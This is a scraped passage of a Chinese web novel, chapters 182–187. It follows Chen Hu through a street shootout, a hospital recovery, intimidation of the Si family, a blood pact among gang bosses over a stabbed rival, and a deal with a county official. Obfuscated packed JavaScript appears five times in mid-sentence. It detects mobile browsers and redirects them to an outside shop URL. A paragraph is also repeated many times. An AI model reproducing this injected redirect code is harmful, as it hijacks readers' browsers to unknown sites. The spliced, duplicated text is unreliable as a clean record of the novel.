司老爷子一巴掌扇在管家的脸上,大骂起来。 听到管家的话,司老爷子顿时就怒了。 “啪!” 司老爷子一巴掌扇在管家的脸上,大骂起来。 第182章 中枪进医院 子弹呼啸着穿过空气,在墙壁上留下一个个弹孔。 惊恐的尖叫声,此起彼伏。 人们纷纷躲进屋里面,紧紧地关上房门。 陈虎捂着还在流血的伤口,跌跌撞撞地跑进一条狭窄的暗巷。 身后,一群黑衣人紧追不舍,手中的枪械喷吐着火舌。 “别让他跑了!给我追!” 一个粗犷的声音,在巷子里面回荡。 陈虎咬紧牙关,强忍着剧痛,拼命地向前奔跑。 子弹不断地从他的身边飞过,击碎了巷子内的瓦罐和花盆。 一个正在晾衣服的妇女被流弹击中,惨叫一声,直接倒在地上。 “妈!” 一个小女孩见此,哭喊着扑到妇女的身上。 陈虎回头看了一眼,眼中闪过了一丝痛苦和愤怒。 他加快了脚步,转过一个街角,消失在了另一条巷子里面。 黑衣人穷追不舍,他们的枪声惊动了更多的居民。 恐慌的情绪在小巷里面蔓延,人们四处逃窜,场面一片混乱。 一个黑衣人对着陈虎的背影扣动扳机,子弹却击中了一个正在买菜的老大爷。 老大爷应声倒地,手中的菜篮子滚落在地上,里面的蔬菜散落一地。 “住手!你们这些混蛋!” 一个年轻人冲了出来,十分愤怒地对着黑衣人怒吼道。 黑衣人没有理会,继续追赶陈虎。 陈虎躲在一堆杂物后面,观察着周围的情况。 他看到一个黑衣人正要对一个躲在角落里的小男孩开枪。 陈虎毫不犹豫地举枪射击,子弹精准地击中了黑衣人的头部。 黑衣人倒在地上,对方手中的枪也滑落到一旁。 这时候,一个身材高大的黑衣人出现在巷口。 他穿着黑色的风衣,眼神冷峻,身上散发出一股强大的气势。 “队长,情况不对劲,我们已经误伤太多平民了。”一个黑衣人跑到他的身边,焦急下令。 “撤退!” 这个队长闻言,果断地下令了。 所有的黑衣人随后都迅速的撤离了小巷,留下了满地的狼藉和惊魂未定的居民。 陈虎靠在 墙上,大口地喘着气。 随后,失血过多让他感到一阵阵眩晕,眼前的一切都变得模糊起来。 他感觉他的身体越来越沉重,意识也渐渐地模糊。 就在陈虎快要昏迷过去的时候,一扇门打开了。 一个中年妇女出现在门口,她看到倒在巷子里面的陈虎,脸上当即就露出了惊讶的表情。 “哎呀!你这是怎么了?” 对方连忙跑过来,扶起陈虎。 “快……快救我……” 陈虎用尽了最后一丝力气,向中年妇女求救。 中年妇女和她的丈夫一起,随后将陈虎抬进了屋里。 他们的女儿,是一个十七、八岁的少女,此时对方正好奇地看着这个浑身是血的陌生男人。 “爹,娘,他是谁啊?”少女问道。 “别问那么多!你快去烧点热水!”中年妇女严肃而又焦急的说道。 他们是一家经营纸钱香烛生意的普通人家,善良的夫妇俩决定救下眼前这个素不相识的年轻人。 他们两人将陈虎安置在床上,简单地处理了一天陈虎的伤口。 然后,中年妇女骑着自行车,匆匆忙忙地赶往医院。 不知过了多久,陈虎缓缓的睁开了双眼。 刺眼的光线让陈虎有些不适应,他下意识地抬起手遮挡。 “你醒了?” 一个清脆的声音,在耳边响起。 陈虎放下手,看到一个少女坐在床边,她的手里正捧着一本书。 少女有着一张清纯美丽的脸庞,乌黑的长发披散在肩上。 “别乱动!”少女放下书,一脸关切地看着陈虎道:“你伤得很重!” 陈虎感觉左腹传来一阵阵的疼痛。 他低头看了一眼,发现伤口已经被包扎好了。 “这是在哪儿?”陈虎十分虚弱地问道。 “医院。”少女回答道:“我叫张颖,是我爸妈救了你。” 陈虎这时候挣扎着想要坐起来。 “别动!”张颖连忙扶住陈虎道:“医生说你需要静养。” “谢谢你!”陈虎靠在床头,十分感激地说道:“还有你的父母!” “不用谢!”张颖笑了笑道:“我爸 妈都是好人,看到你受伤了,肯定不会不管的。 陈虎闻言,沉默了片刻。 “能帮我个忙吗?陈虎突然问道。 “什么忙?张颖反问。 “帮我打个电话!陈虎随即说道:“电话号码是…… 陈虎报出了一串数字。 “好!张颖起身道:“我去电话亭帮你打! 在张颖离开之后,陈虎便闭上了眼睛,努力回忆着昏迷前发生的事情。 枪声,鲜血,追杀…… 陈虎明白他必须尽快联系上孙若薇,告诉孙若薇这里的情况。 不知过了多久, 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一个身材高挑,容貌姣好的女子,随即走了进来。 她穿着黑色的风衣,眼神焦急。 “陈虎!女子快步走到床边,一把抓住了陈虎的手,十分关心的问道:“你怎么样了? “若薇……陈虎看着孙若薇,眼中充满了柔情道:“我没事! 孙若薇紧紧地握着陈虎的手,眼中闪烁着泪光。 “没事就好!没事就好……孙若薇哽咽着说道。 张颖静静地站在一旁,看着眼前的这一幕。 她知道,眼前的这个男人和这个女人之间,一定有着不寻常的故事。 孙若薇看到陈虎的状态还算好后,这才放下了心,然后对一旁的张颖表示了感谢。 “谢谢你,姑娘!孙若薇感激的说道:“要不是你…… “姐姐,您太客气了。张颖说道:“我们一家只是做了力所能及的事情。 孙若薇握着张颖的手,眼中充满了感激。 “我会给出应有的回报,再次向你们一家表示感谢。孙若薇十分认真的说道。 张颖闻言,微微颔首,但却没有接话。 而后,张颖自觉的走出病房,并且轻轻带上病房门,留给陈虎和孙若薇两人一个私密的空间。 第183章 什么人都招!越多越好! 只剩下她和陈虎两个人后,孙若薇再也忍不住了,在外人面前强装坚强的她,其实也是一个柔弱的女人。 看着陈虎左腹缠着的厚厚绷带,孙若薇眼眶泛红,泪水忍不住掉下来,心疼不已。 “你怎么就伤成这样了?” 孙若薇哽咽道。 陈虎见此,伸手轻轻擦拭着孙若微脸上的泪痕。 “别哭!我这不是好好的吗?” 说完,陈虎笑了笑。 他的笑容中,却是带着一丝苦涩。 “若薇,我需要你帮我做件事情。” 陈虎的语气,突然变得严肃起来。 孙若薇闻言一愣,不由得有些诧异。 “什么事情?” 她不明白,在这种情况下,陈虎还有什么比养伤更重要的事情。 “帮我约见司老爷子!” 陈虎语气平静,声音却掷地有声。 孙若薇听到这话,却是更加惊讶了。 “司老爷子?现在?” 孙若薇简直不敢相信她的耳朵。 陈虎刚被刺杀,凶手还没找到,现在竟然要去见最有嫌疑雇凶的司老爷子? 孙若薇再单纯,如今在陈虎被枪击后,也会怀疑幕后黑手是和陈虎有过节,并且背景深厚,有权有势的司家的。 然而,陈虎这时候还要去见司老爷子。 “对!现在!” 陈虎语气坚定,不容置疑。 “可是……你的伤……” 孙若薇十分担忧地看着陈虎。 “这点伤不算什么!” 陈虎毫不在意地摆了摆手。 “正是因为我的误判,才导致了这次刺杀。” 说到这里,他的眼神中,闪过了一丝自责。 “最安全的情况,就是所有人都希望我活着,而不是杀掉所有想杀我的人。” 他语气深沉,意味深长。 孙若薇似懂非懂地看着他。 “我不明白……” 孙若薇皱着眉头,努力理解陈虎的话。 “我以后会慢慢解释给你听的。” 陈虎温柔地笑了笑。 “现在,先帮我约见司老爷子。” 陈虎再次强调 了他的要求,随后又补充了一句道:“还有,联系军方资源,再度对九头蛇组织进行清剿。 孙若薇闻言,不由得深吸一口气,努力让她自己冷静下来。 她知道,陈虎这么做一定有他的理由。 “好!我这就去办! 也许,孙若薇最开始仅仅是被陈虎这个出身低微的猎户吸引,这才对陈虎有感觉。 而随着对陈虎的了解加深,在这份恋情中,孙若薇又掺杂了她赌上命运,选择与陈虎合作的利益关系。 可随着二人相处的加深,孙若薇也没发现,她不知不觉间,对陈虎的情愫,已然到达了一个超出她想象的状态。 当然,陈虎也能够注意到这一切,可看他目送孙若薇离开的清冷目光,就能够看出,或许情爱什么的,永远也不会成为陈虎心中在意的第一位。 孙若薇离开之后,陈虎开始闭目沉思。 如果司家与九头蛇联合,那么他破局的关键就在于他得让他的项目加快进度了! 这种困难如何破局,陈虎已经经历了不少。 永远不要被表象迷惑,真正的安全,不是消灭所有敌人,而是让敌人不敢成为你的敌人。 陈虎深谙此道,他明白,只有掌控全局,才能立于不败之地。 三日后,陈虎不顾医生劝阻,便出院了。 有了孙若薇与孙家的旗号,陈虎带上包专便径直去了司家。 陈虎推开司家大门,包专寸步不离地跟在他身后。 陈虎一身黑色休闲服,左腹的伤势虽然已经结痂,但隐隐作痛。 他步伐沉稳,目光锐利,仿佛一头即将捕猎的猛兽。 司家大院,气氛压抑。 司老爷子坐在太师椅上,脸色铁青,仿佛暴风雨来临前的乌云。 他身旁站着司宫的母亲,这女人此时双眼红肿,悲痛欲绝。 “你就是陈虎?司老爷子声音低沉,带着一丝压抑的怒火。 陈虎没有理会司老爷子的问话,径直走到他面前,拉过一把椅子坐下。 包专站在他身后,警惕地注视着周围的一切。 “司宫虽然死了,但司家还在。陈虎语气平静,并未直接回应司老爷子,而是直接提起了司宫。 司老爷子猛地一拍桌子大声怒吼道:“你还有脸提司宫!” 陈虎眼神冰冷毫不畏惧地与他司老爷子对视。 “你的身体现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573805|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着还行司宫死了也无所谓你大可以再生一个。” “但若是司家不在了那就什么都完了!” 司老爷子气得浑身发抖指着陈虎的手指都在颤抖。 “你……你这是在威胁我?” 陈虎闻言嘴角不由得勾起一抹冷笑。 “我只是在陈述一个事实。” “九头蛇组织在司家的帮助下的确能入境对我造成威胁。” “但孙家的背后是军方九头蛇组织近几日被清剿压根不敢露面。” 顿了顿陈虎的语气更加冰冷。 “而你们司家不出三日就会明白你们到底招惹到了谁。” 司老爷子闻言脸色阴晴不定眼中闪过一丝恐惧。 他知道陈虎的背景也知道孙家的势力。 他更清楚司家与九头蛇组织的合作一旦暴露司家将万劫不复。 陈虎随后站起身拍了拍身上的灰尘。 “言尽于此好自为之!” 陈虎转身离去 司老爷子坐在椅子上久久没有回过神来。 他看着陈虎离去的背影眼中充满了复杂的情绪。 有愤怒有恐惧还有……一丝敬畏。 陈虎走出司家大门吐出一口浊气。 他知道这场博弈才刚刚开始。 他必须步步为营才能最终掌控全局。 “黑狗!”陈虎随即招呼包专。 “虎哥啥事?”包专屁颠屁颠地跑过来。 “你去县城租一栋办公楼!” “租办公楼?干啥用啊虎哥?”包专闻言一脸疑惑。 “招人!” “招人?招啥人啊?”包专听到这话却是更懵了。 “什么人都招!越多越好!” “这……虎哥咱这是要干啥大事啊?”包专挠了挠头。 “不该问的别问!赶紧去办!”陈虎眼神一凛语气严肃。 “得嘞!”包专自然不敢再多嘴连忙一溜烟的就跑了。 陈虎看着包专远去的背影嘴角却是露出一丝冷笑。 他要加快项目的进度需要人手。 等所有的进度展开之后他才能够从风口撤下到幕后掌控全局立于不败之地。 陈虎随后拦了辆出租车直奔马关口县城东的另一处黑道堂口。 他已经得到消息知道刘三刀这时候肯定在那里! 第184章 我要重新洗牌 出租车停在一家名为“金碧辉煌”的KTV门口。 这里,就是刘三刀的另一处堂口。 黄和赌,自古以来都是黑道要掌控的产业。 出租车停在一家名为“金碧辉煌”的KTV门口。 这里,就是刘三刀的另一处堂口。 黄和赌,自古以来都是黑道要掌控的产业。 出租车停在一家名为“金碧辉煌”的KTV门口。 这里,就是刘三刀的另一处堂口。 黄和赌,自古以来都是黑道要掌控的产业。 出租车停在一家名为“金碧辉煌”的KTV门口。 这里,就是刘三刀的另一处堂口。 黄和赌,自古以来都是黑道要掌控的产业。 出租车停在一家名为“金碧辉煌”的KTV门口。 这里,就是刘三刀的另一处堂口。 黄和赌,自古以来都是黑道要掌控的产业。 出租车停在一家名为“金碧辉煌”的KTV门口。 这里,就是刘三刀的另一处堂口。 黄和赌,自古以来都是黑道要掌控的产业。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573806|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出租车停在一家名为“金碧辉煌”的KTV门口。 这里,就是刘三刀的另一处堂口。 黄和赌,自古以来都是黑道要掌控的产业。 出租车停在一家名为“金碧辉煌”的KTV门口。 这里,就是刘三刀的另一处堂口。 黄和赌,自古以来都是黑道要掌控的产业。 出租车停在一家名为“金碧辉煌”的KTV门口。 这里,就是刘三刀的另一处堂口。 黄和赌,自古以来都是黑道要掌控的产业。 第185章 灰产合法化 见惯了各种恐吓拼狠的灰产头目们,显然不会被砍手这一幕,留给震住。 “砍手?吓唬谁呢?” 一个涂着鲜红指甲油的女人,轻蔑地吐出一口烟圈。 烟雾缭绕中,她妖娆的面容显得更加妩媚。 “老娘艾薇在马关口混了这么多年,什么场面没见过?” “要杀要剐,悉听尊便!” 她轻蔑地扫了一眼陈虎,眼神之中,充满了不屑。 “我们这些人,哪个不是刀尖舔血过来的?” “怕你?” 一个满脸络腮胡的大汉,随后瓮声瓮气地说道。 “就是!” “老子烂命一条,怕个鸟!” “你算个什么东西?” …… 其他人也纷纷附和,语气之中,充满了挑衅。 听到这些话,成小天握紧了手中的砍刀,眼中闪过一丝凶光。 成小天正要上前,却被陈虎抬手制止了。 就见得,陈虎神态轻松地坐了下来,嘴角勾起一抹玩味的笑容。 而后,陈虎拍了拍手,示意成小天把准备好的文件拿过来。 “念给他们听!” 成小天拿起文件,清了清嗓子,开始念了起来。 “第一条,从今天开始,马关口所有地下生意,都归成小天管辖。” “成小天直接对我陈虎负责。” “第二条,所有地下生意的头目,每月上缴三成份子钱。” 话音刚落,人群之中,顿时炸开了锅。 “什么?!” “凭什么?!” “让我们听一个毛头小子的?!” “老子不干!” …… 再次听到陈虎让他们交份子钱,尤其是这次还写在文件上面,涉及到自身的利益,这些灰产头目们是彻底炸了。 一个身材魁梧的光头男子,猛地站了起来,指着成小天怒吼。 “他陈虎算个什么东西?!” “也配管我们?!” 其他人随后也纷纷表示不满,群情激奋。 “就是!” “我们凭什么听他的?!” “他以为他是谁啊?” 艾薇更是冷笑一声看着陈虎说道:“小弟弟毛都没长齐就想管我们这群老江湖?” “你也不撒泡尿照照自己!” 她说完就轻蔑地吐出一口烟圈眼神之中充满了嘲讽。 “想让我们交钱?” “做梦!” 面对众人的质疑和挑衅成小天的脸色有些难看但好在这些人更多的是在对陈虎说话。 成小天不由得求助似的看向陈虎却见陈虎依旧是一副云淡风轻的模样。 随后就见得陈虎缓缓站起身目光扫过众人脸色平静却带着一股不容置疑的威严这让得众人暂时性的闭上了嘴 却见得陈虎随后又对成小天点了点头示意成小天继续。 “第三条……” 成小天刚开口就顿了顿似乎有些紧张。 “作为回报陈先生以及陈先生背后的孙家会为各位提供保护。” “什么保护?”艾薇闻言当即就挑了挑眉吐出一口烟圈。 “遏制其他团伙的竞争。” “保证马关口的地下世界有一套完整且保证所有人利益的规则。” 成小天这时候咽了口唾沫继续说着。 “并且……还会帮助各位拿下马关口下面乡镇的一些地盘、份额。” 听到这话人群之中顿时传来一阵骚动。 “真的假的?”络腮胡子瓮声瓮气地问道。 “当然是真的!” 陈虎语气严肃开口回应而他的声音之中也是带着不容置疑的威严。 “我陈虎说话!从来算数!” “每月三成换取长久的安稳和更大的地盘。” 顿了顿陈虎的目光扫过众人。 “这笔买卖划算吗?” 众人闻言沉默了。 他们开始权衡利弊。 “还有……” 成小天这时候突然提高了音量。 “最重要的一点!” “他指着地上昏迷不醒的刘三刀。” “那就是……你们将成为一个整体。” “一个牢不可破的利益共同体!” 陈虎闻言直接拍 了拍手。 而后两个手下就将刘三刀给抬到了桌子上。 成小天随即抽出了一把明晃晃的尖刀。 “噗嗤!” 刀子狠狠地扎进了刘三刀的腹部。 刘三刀的身体抽搐了一下却没有醒过来。 成小天随即将刀扔在桌子上。 “每人一刀。” 他环视众人 “歃血为盟!” “这把刀会封存保留所有人的指纹。” “谁背叛谁退出都会面临所有人的指控。” 顿了顿成小天又加重了语气。 “从此以后我们就是一根绳上的蚂蚱!” “一荣俱荣一损俱损!” 众人闻言面面相觑。 气氛顿时变得紧张起来。 “你们的生意从此就是铁饭碗!”陈虎的声音再次响起带着蛊惑人心的力量。 “再也不用担心被其他团伙抢夺。” “也不用担心被警察抓捕。” “你们要做的就是按照我的分配做好自己的事情。” “然后每月上缴三成份子钱。” 顿了顿陈虎目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588109|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灼灼地盯着众人。 “怎么样?” “同意吗?” 艾薇当即就掐灭了手中的烟头。 她深深地看了陈虎一眼然后点头。 “我同意!” 络腮胡子随即也点了点头。 “我也同意!” 其他人接着也纷纷表示同意。 他们知道这是他们最好的选择。 拒绝就意味着死亡。 同意至少还有一线生机。 成小天随后拿起刀然后递给艾薇。 艾薇接过刀直接就毫不犹豫地就对着刘三刀的腹部扎了一刀。 鲜血顺着刀刃流淌下来滴落在桌子上发出“滴答滴答”的声音像是一曲死亡的奏鸣曲。 接下来其他人也都纷纷上前在刘三刀的腹部扎了一刀。 鲜血顿时就染红了桌子也染红了他们的双手。 从此以后他们就是一个整体。 一个牢不可破的利益共同体 。 一个由陈虎掌控的地下王国。 “行了!都散了吧! 该说的事情都说了,陈虎随即挥了挥手,像赶苍蝇一样。 没有地下头目们如蒙大赦,纷纷起身离开。 库房里面,随后弥漫着浓重的血腥味。 “小天! 陈虎突然叫住了最后一个离开的成小天。 “虎哥,还有什么吩咐? 小天恭敬地问道,眼神里带着一丝畏惧。 “同盟会! 陈虎缓缓的说出了这三个字。 “以后,这就是我们的名字! “同盟会?成小天不由得愣了一下。 “对!同盟会! “明天傍晚之前。 陈虎的语气词,突然变得冰冷。 “我要司家所有的生意,全部歇业。 “所有,明白吗? 成小天问完,心头不由得一震。 他知道,这不仅仅是一条指令。 更是一场考验。 “明白! 成小天咬了咬牙,十分坚定地回答。 “做不到的,不配加入同盟会。 陈虎之后补充了一句,语气森寒。 成小天闻言,不由得打了个寒颤。 他感觉他像掉进了一个冰窟窿一样。 “还有…… 陈虎顿了顿,眼神变得深邃。 “很多灰产,需要合法化! 成小天闻言,不由得愣住了,他没有想到陈虎会说出这样的话。 “高利贷,改成抵押贷,小额放贷。 “利率,要合乎规矩。 “桃色产业,保证双方自愿,不违法。 “保护费,变成管理费,卫生费…… 第186章 跟司家合作? 陈虎一口气说了很多。 成小天听得目瞪口呆。 他感觉他的脑子都不够用了。 一个二十岁不到的年轻人,他的体内怎么住着一个恶魔般的灵魂? “去找市场部门的领导,拿到改建市场的批文!” 陈虎继续说道,语气平静。 仿佛在说一件微不足道的小事。 成小天越听越心惊。 他对陈虎的畏惧,也越来越深。 “明白了吗?” 陈虎看着成小天,眼神锐利。 “明白!虎哥!” 成小天连忙点头,生怕陈虎不满意。 “去吧!” 陈虎随即挥了挥手。 小天如释重负,转身离开了。 冰冷萧条的仓库里面,只剩下陈虎一个人。 随后,陈虎站在仓库特制的落地窗前,俯视着灯火通明的城市。 他的眼神里,闪烁着野心勃勃的光芒。 司家。 等着吧! 这……只是一个开始! 当然,想要彻底扳倒司家,利用这些不合规的手段,去打击司家的产业,自然是远远不够的。 所以,陈虎在离开这处仓库后,第一时间内,便驱车赶往了县官家中。 对于陈虎的到访,这位年过半百的县官有些头疼。 他偏居一隅做个小官,一不敢与司家交恶,二不敢招惹孙家,如今陈虎与司家的事情都快要摆到明面上了,他自然是唯恐避之不及。 孙家书房内,陈虎望着眼前这位年过半百的县官,微笑出声道: “您年纪与我过世的父亲相仿,我若高攀称呼您一声’孙叔‘,您看合适吗?” 孙承恩闻言,讪笑点头道:“哪儿有高攀一说!我要是有陈先生这样的侄子,那是我高攀才是,年轻人哟,年少得志,让人羡煞!” “孙叔,您这茶,真香!”陈虎轻轻抿了一口,笑着赞叹道。 “陈先生过奖了!”孙承恩皮笑肉不笑,心里面却在打鼓。 这尊瘟神,突然造访,准没好事! “孙叔,明人不说暗话。”陈虎放下茶杯,直视孙承恩。 “您也知道,我最近都在忙什么。” 孙承恩听到陈虎这话,额头上不由得渗出细密的汗珠。 他当然知道! 整个马关口,谁不知道陈虎在跟司家对着干? “我呢,也不想把事情闹大。陈虎语气平缓,却带着一股不容置疑的威严。 “毕竟,和气生财嘛! 孙承恩闻言,干笑两声,不敢接话。 “我打算,和孙家,好好谈谈。陈虎顿了顿,眼神变得深邃。 “谈合作! 听到陈虎这话,孙承恩直接愣住了。 合作? 跟司家合作? 这小子,疯了吧? “孙叔,您觉得,怎么样?陈虎似笑非笑地看着他。 孙承恩擦了擦汗,一脸苦笑道:“陈先生,您说笑了,我一个小小的县官,哪能插手你们之间的事情啊? “孙叔,您太谦虚了!陈虎摇了摇头。 “您可是马关口的父母官啊! “您一句话,比什么都管用! 孙承恩闻言,心里暗骂,这小子,真是个滑头。 “陈先生,您就别为难我了。孙承恩连忙推脱道。 “司家,我惹不起啊! “孙叔,您这话说的,好像我陈虎,就能惹得起似的。陈虎自嘲一笑。 “不过……陈虎话锋一转道:“有些事情,不是惹不惹得起的问题。 “而是,该不该做的问题。 孙承恩闻言,心头一跳,预感不妙。 “孙叔,您想过没有,马关口,以后会是什么样子?我和孙家合资的项目,你应该过手过,你知道我们的预设与打算。陈虎的声音低沉而富有磁性,宛如恶魔低语。 “超过三万人的就业岗位。 “十倍,百倍于以往的税收。 “一个焕然一新的马关口。 孙承恩听到这里,呼吸逐渐急促,两眼放光。 这…… 这简直就是天堂! “这些,都会成为您,孙叔,去往市里,甚至于是京都的门票!陈虎的声音,充满了诱惑。 孙承恩的内心,开始剧烈挣扎。 他知道,没有天上掉馅饼的好事。 “陈先生,您 的条件是什么?”终于,孙承恩问出了口。 陈虎笑了。 “世界的底层规则,拿走什么,交换或者留下什么。” “我需要的不多。” “一份搜查令。” “以及,短暂切断司家与外界联系的条件。” 孙承恩听到陈虎的条件,直接沉默了。 他在权衡利弊。 一边是司家的滔天权势。 一边是难以抗拒的诱惑。 良久,孙承恩抬起头,眼神变得坚定。 “成交!” …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588110|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从孙承恩家离开时,陈虎的脸上,并没有因为孙承恩答应他的条件而高兴。 因为,这在他看来是对方肯定会答应的,依如他记忆中的易天行,所教授给他的交换逻辑那样。 陈虎的思绪,也不由得回到了那处海岛上…… 阳光洒在海面上,波光粼粼。 陈虎深吸了一口气,一头扎进碧蓝的海水中。 海水清澈见底,五彩斑斓的珊瑚礁如同海底花园般绚丽。 一条肥美的石斑鱼从珊瑚丛中游过,陈虎眼疾手快,一把抓住它的尾巴。 “这鱼够大,今晚可以加餐了!” 他将石斑鱼扔进事先准备好的网兜里。 一只巨大的青蟹挥舞着钳子,耀武扬威地横行霸道。 陈虎的嘴角微微上扬,一个猛子扎下去,一把抓住青蟹的背壳。 “小样儿,还想跟我斗!” 青蟹被扔进了网兜,和石斑鱼挤在一起。 一群海虾在珊瑚礁附近游动,陈虎悄悄靠近,用网兜一捞,收获颇丰。 “这些海虾用来煮汤,味道一定鲜美。” 他满意地看着鼓鼓囊囊的网兜。 陈虎浮出水面,爬上沙滩。 “收获不错!” 他将网兜里的鱼虾蟹倒在沙滩上,种类繁多,琳琅满目。 除了石斑鱼和青蟹,还有色彩鲜艳的鹦鹉鱼,长着长须的龙虾,以及各种贝类。 陈虎走到一颗高大的椰子树下,纵身一跃,像一只灵巧的猴子般爬了上去。 他熟练地用随身携带的匕首,砍下四个成熟的椰子。 “新鲜的椰子汁,解渴又美味!” 回到沙滩上,陈虎捡了些干柴,升起一堆篝火。 他将处理好的鱼虾蟹串在树枝上,放在火上烤制。 “滋滋”的油脂滴落在火堆里面,发出诱人的香味。 陈虎拿起一个椰子,用匕首削开一个口子,痛饮一口清甜的椰子汁。 一旁的易天行刚睡醒起身,当即也跟着开了个椰子畅饮。 “爽!” 陈虎对此视若无睹,接着将烤好的鱼虾蟹放在椰壳里,撒上一些从岛上找到的野香料。 这时候,易天行也凑到了火堆前。 随后,这个博学而神秘的怪老头,便毫不客气的动手开始品尝。 “这鱼烤得真香!” 易天行撕下一块鱼肉,吃得满嘴流油。 “海里的东西,新鲜!” 陈虎也大口吃着,椰壳里的蟹肉被他三两下就解决干净了。 第187章 司家人心惶惶 夕阳西下,海面被染成一片火红。 陈虎和易天行两人并肩坐在沙滩上,看着壮丽的景色。 “你有没有想过以后?”易天行突然开口,打破了宁静。 “以后?”陈虎闻言,直接愣了一下,眼神有些茫然。 “你总不能一辈子刀尖舔血吧?”易天行盯着海面,语气低沉。 “脑袋别在裤腰带上,这日子过久了,也累!” 陈虎听到这话,直接沉默了,他不知道该怎么回答。 他经历过太多的生死,看过太多的黑暗。 年少时的记忆,像潮水般涌上心头。 “我父母……下岗后就没收入了。”陈虎的声音有些沙哑。 “把我送去福利院后,在年三十晚上……” 他顿了顿,语气哽咽。 “吃了一碗毒饺子……” 易天行转头看向陈虎,眼神之中,充满了同情。 “这世道……”陈虎苦笑了一声道:“让人害怕!” 易天行拍了拍陈虎的肩膀,缓缓说道: “世界的底层逻辑,是交换!” “交换?”陈虎闻言,有些疑惑地看着易天行。 “交换,不只是钱!”易天行指着燃烧的篝火道:“柴火交换温暖,食物交换能量。” “这我知道!”陈虎皱眉,不明白易天行想说什么。 “人与人之间的关系,也是交换!”易天行拿起一块烤鱼,递给陈虎。 “你给我鱼,我承你情,这也是交换!” 陈虎接过烤鱼,若有所思地咬了一口。 “我明白了!”陈虎点了点头道:“可这和以后有什么关系?” “关系大了!”易天行神秘一笑道:“你以前交换的是什么?” 陈虎沉默了,脑海中闪过了枪林弹雨,血肉横飞的画面。 “命!” 最终,陈虎缓缓吐出了一个字。 “现在用命,换钱,换生存!”易天行追问道:“那你以后呢?” “用拳头,换地位,换权力!”陈虎的眼神变得锐利。 “这依然是刀尖舔血的交换!”易天行摇了摇头道:“这不长久!” 陈虎闻言,再次沉默,他意识到易 天行话里有话。 “世界的底层逻辑是交换这话没错。”易天行语气变得严肃道:“但单纯用交换来理解人类社会是片面的。” “情感、道德、欲望这些都起着重要的作用。” “你以为那些跟着我的人只是为了钱吗?” 陈虎闻言 “他们需要安全感需要归属感需要被认可。”易天行一针见血的指出道:“这些都不是简单的金钱交换就能够满足的。” “你给他们提供了一个平台一个可以实现这些需求的平台。” “这才是你真正应该交换到的东西!” 陈虎听到这里恍然大悟他终于明白了易天行的意思。 “交换缔造了人类社会!”易天行继续说道:“但交换的不仅仅是物质还有精神还有情感。” “拿走什么留下什么这才是生存的底层逻辑。” 海风吹拂篝火摇曳。 陈虎看着跳动的火焰陷入了沉思。 易天行的话如同一道闪电照亮了他前方的路。 他一直以来都只看到了交换的表面却忽略了更深层次的东西。 他以为他是在利用别人却不知道别人也在利用他。 这种相互利用相互依存的关系才是真正的交换。 而他陈虎需要学会如何在这种交换中获得最大的利益同时他也要承担相应的责任。 他需要思考他究竟想要拿走什么又想要留下什么。 夜幕降临繁星点点。 陈虎起身走到海边。 他看着波涛汹涌的大海心中不由得涌起一股豪情壮志。 他好像看到他的人生即将翻开新的篇章。 …… 另一边司家从昨日开始氛围便极为怪异。 在被陈虎威胁之后司老爷子心一狠便决定让九头蛇组织解决陈虎后再想办法缓住孙家那边。 午后司老爷子正在书房独自沏茶打谱房门却不合时宜的被推开。 “老爷子九头蛇那边……联系不上。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588111|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 